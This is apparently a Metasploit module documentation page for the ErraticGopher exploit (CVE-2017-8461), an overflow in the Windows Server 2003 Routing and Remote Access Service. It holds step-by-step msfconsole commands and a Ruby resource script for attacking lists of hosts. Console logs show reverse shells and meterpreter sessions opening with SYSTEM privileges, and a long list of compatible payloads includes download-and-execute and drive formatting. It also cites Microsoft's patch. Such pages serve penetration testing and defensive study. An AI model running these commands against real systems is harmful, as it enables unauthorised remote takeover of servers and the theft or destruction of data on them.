Microsoft Windows RRAS Service MIBEntryGet Overflow - Metasploit
This page contains detailed information about how to use the exploit/windows/smb/smb_rras_erraticgopher metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft Windows RRAS Service MIBEntryGet Overflow
Module: exploit/windows/smb/smb_rras_erraticgopher
Source code: modules/exploits/windows/smb/smb_rras_erraticgopher.rb
Disclosure date: 2017-06-13
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2017-8461
This module is also known as ErraticGopher.
This module exploits an overflow in the Windows Routing and Remote Access Service (RRAS) to execute code as SYSTEM. The RRAS DCERPC endpoint is accessible to unauthenticated users via SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts; however, this module targets Windows Server 2003 only. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well. The module has been successfully tested on: Windows Server 2003 SP0 (x86); Windows Server 2003 SP1 (x86); Windows Server 2003 SP2 (x86); and Windows Server 2003 R2 SP2 (x86).
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- crash-service-down: Module may crash the service, and the service remains down.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using smb_rras_erraticgopher against a single host
Normally, you can use exploit/windows/smb/smb_rras_erraticgopher this way:
msf > use exploit/windows/smb/smb_rras_erraticgopher
msf exploit(smb_rras_erraticgopher) > show targets
... a list of targets ...
msf exploit(smb_rras_erraticgopher) > set TARGET target-id
msf exploit(smb_rras_erraticgopher) > show options
... show and set options ...
msf exploit(smb_rras_erraticgopher) > exploit
Using smb_rras_erraticgopher against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your smb_rras_erraticgopher will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/smb/smb_rras_erraticgopher")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an overflow in the Windows Routing and Remote Access Service (RRAS) to execute code as SYSTEM.
The RRAS DCERPC endpoint is accessible to unauthenticated users via SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts; however, this module targets Windows Server 2003 only.
Since the service is hosted inside svchost.exe, a failed exploit
attempt can cause other system services to fail as well.
The module has been successfully tested on:
- Windows Server 2003 SP0 (x86)
- Windows Server 2003 SP1 (x86)
- Windows Server 2003 SP2 (x86)
- Windows Server 2003 R2 SP2 (x86)
Verification Steps
Windows:
- Launch
services.msc - Start
Routing and Remote Access Service
Note that the service may take up to one minute to start.
Metasploit:
- Start msfconsole
- Do:
use exploit/windows/smb/smb_rras_erraticgopher - Do:
set rhosts <rhosts> - Do:
run - You should get a
SYSTEMshell.
Options
SMBPIPE
The pipe name to use (default: browser)
Scenarios
Windows Server 2003 R2 SP2 (x86)
msf6 > use exploit/windows/smb/smb_rras_erraticgopher
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/smb/smb_rras_erraticgopher) > set rhosts 172.16.191.171
rhosts => 172.16.191.171
msf6 exploit(windows/smb/smb_rras_erraticgopher) > check
[*] 172.16.191.171:445 - The service is running, but could not be validated. RRAS enabled and accessible.
msf6 exploit(windows/smb/smb_rras_erraticgopher) > set lhost 172.16.191.192
lhost => 172.16.191.192
msf6 exploit(windows/smb/smb_rras_erraticgopher) > run
[*] Started reverse TCP handler on 172.16.191.192:4444
[*] 172.16.191.171:445 - Binding to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ...
[*] 172.16.191.171:445 - Bound to 8f09f000-b7ed-11ce-bbd2-00001a181cad:0.0@ncacn_np:172.16.191.171[\browser] ...
[*] 172.16.191.171:445 - Selecting a target ...
[*] 172.16.191.171:445 - Fingerprint: Windows 2003 R2 (Service Pack 2) - Language: Unknown
[*] 172.16.191.171:445 - Could not detect the language pack, defaulting to English
[*] 172.16.191.171:445 - Using target: Windows Server 2003 R2 SP2 (English) (NX)
[*] 172.16.191.171:445 - Calling RRAS MIBEntryGet with payload (1876 bytes) ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 172.16.191.171
[*] Command shell session 1 opened (172.16.191.192:4444 -> 172.16.191.171:1029) at 2021-03-02 18:57:40 -0500
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>
Mitigation
Microsoft have released KB4024323 for Windows 2003 and Windows XP:
- https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd
Go back to menu.
Msfconsole Usage
Here is how the windows/smb/smb_rras_erraticgopher exploit module looks in the msfconsole:
msf6 > use exploit/windows/smb/smb_rras_erraticgopher
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/smb/smb_rras_erraticgopher) > show info
Name: Microsoft Windows RRAS Service MIBEntryGet Overflow
Module: exploit/windows/smb/smb_rras_erraticgopher
Platform: Windows
Arch: x86
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-06-13
Provided by:
Equation Group
Shadow Brokers
V��ctor Portal
bcoles <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-service-down
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 Automatic
1 Windows Server 2003 SP0 (English)
2 Windows Server 2003 SP1 (English) (NX)
3 Windows Server 2003 SP2 (English) (NX)
4 Windows Server 2003 R2 SP2 (English) (NX)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBPIPE browser yes The pipe name to use
Payload information:
Space: 1065
Avoid: 1 characters
Description:
This module exploits an overflow in the Windows Routing and Remote
Access Service (RRAS) to execute code as SYSTEM. The RRAS DCERPC
endpoint is accessible to unauthenticated users via SMBv1 browser
named pipe on Windows Server 2003 and Windows XP hosts; however,
this module targets Windows Server 2003 only. Since the service is
hosted inside svchost.exe, a failed exploit attempt can cause other
system services to fail as well. The module has been successfully
tested on: Windows Server 2003 SP0 (x86); Windows Server 2003 SP1
(x86); Windows Server 2003 SP2 (x86); and Windows Server 2003 R2 SP2
(x86).
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-8461
https://cwe.mitre.org/data/definitions/119.html
http://www.securityfocus.com/bid/99012
https://www.exploit-db.com/exploits/41929
https://packetstormsecurity.com/files/147593
https://www.securitytracker.com/id/1038701
https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml
https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125
Also known as:
ErraticGopher
Module Options
This is a complete list of options available in the windows/smb/smb_rras_erraticgopher exploit:
msf6 exploit(windows/smb/smb_rras_erraticgopher) > show options
Module options (exploit/windows/smb/smb_rras_erraticgopher):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBPIPE browser yes The pipe name to use
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/smb/smb_rras_erraticgopher exploit:
msf6 exploit(windows/smb/smb_rras_erraticgopher) > show advanced
Module advanced options (exploit/windows/smb/smb_rras_erraticgopher):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DCERPC::ReadTimeout 10 yes The number of seconds to wait for DCERPC responses
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBDomain . no The Windows domain to use for authentication
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/smb/smb_rras_erraticgopher module can exploit:
msf6 exploit(windows/smb/smb_rras_erraticgopher) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Windows Server 2003 SP0 (English)
2 Windows Server 2003 SP1 (English) (NX)
3 Windows Server 2003 SP2 (English) (NX)
4 Windows Server 2003 R2 SP2 (English) (NX)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/smb/smb_rras_erraticgopher exploit:
msf6 exploit(windows/smb/smb_rras_erraticgopher) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/adduser normal No Windows Execute net user /ADD
6 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
7 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
8 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
9 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
10 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
11 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
12 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
13 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
14 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
15 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
16 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
17 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
18 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
19 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
22 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
23 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
24 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
26 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
27 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
28 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
29 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
30 payload/windows/exec normal No Windows Execute Command
31 payload/windows/format_all_drives manual No Windows Drive Formatter
32 payload/windows/loadlibrary normal No Windows LoadLibrary Path
33 payload/windows/messagebox normal No Windows MessageBox
34 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
35 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
36 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
37 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
38 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
39 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
40 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
41 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
42 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
43 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
44 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
45 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
46 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
47 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
48 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
49 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
50 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
51 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
52 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
53 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
54 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
55 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
56 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
57 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
58 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
59 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
60 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
61 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
62 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
63 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
64 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
65 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
66 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
67 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
68 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
70 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
71 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
72 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
73 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
74 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
75 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
76 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
77 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
78 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
79 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
80 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
81 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
82 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
83 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
84 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
85 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
86 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
88 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
89 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
90 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
91 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
92 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
93 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
94 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
95 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
96 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
97 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
98 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
99 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
100 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
101 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
102 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
103 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
104 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
105 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
106 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
107 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
108 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
109 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
110 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
111 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
112 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
113 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
114 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
115 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
116 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
117 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
118 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
119 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
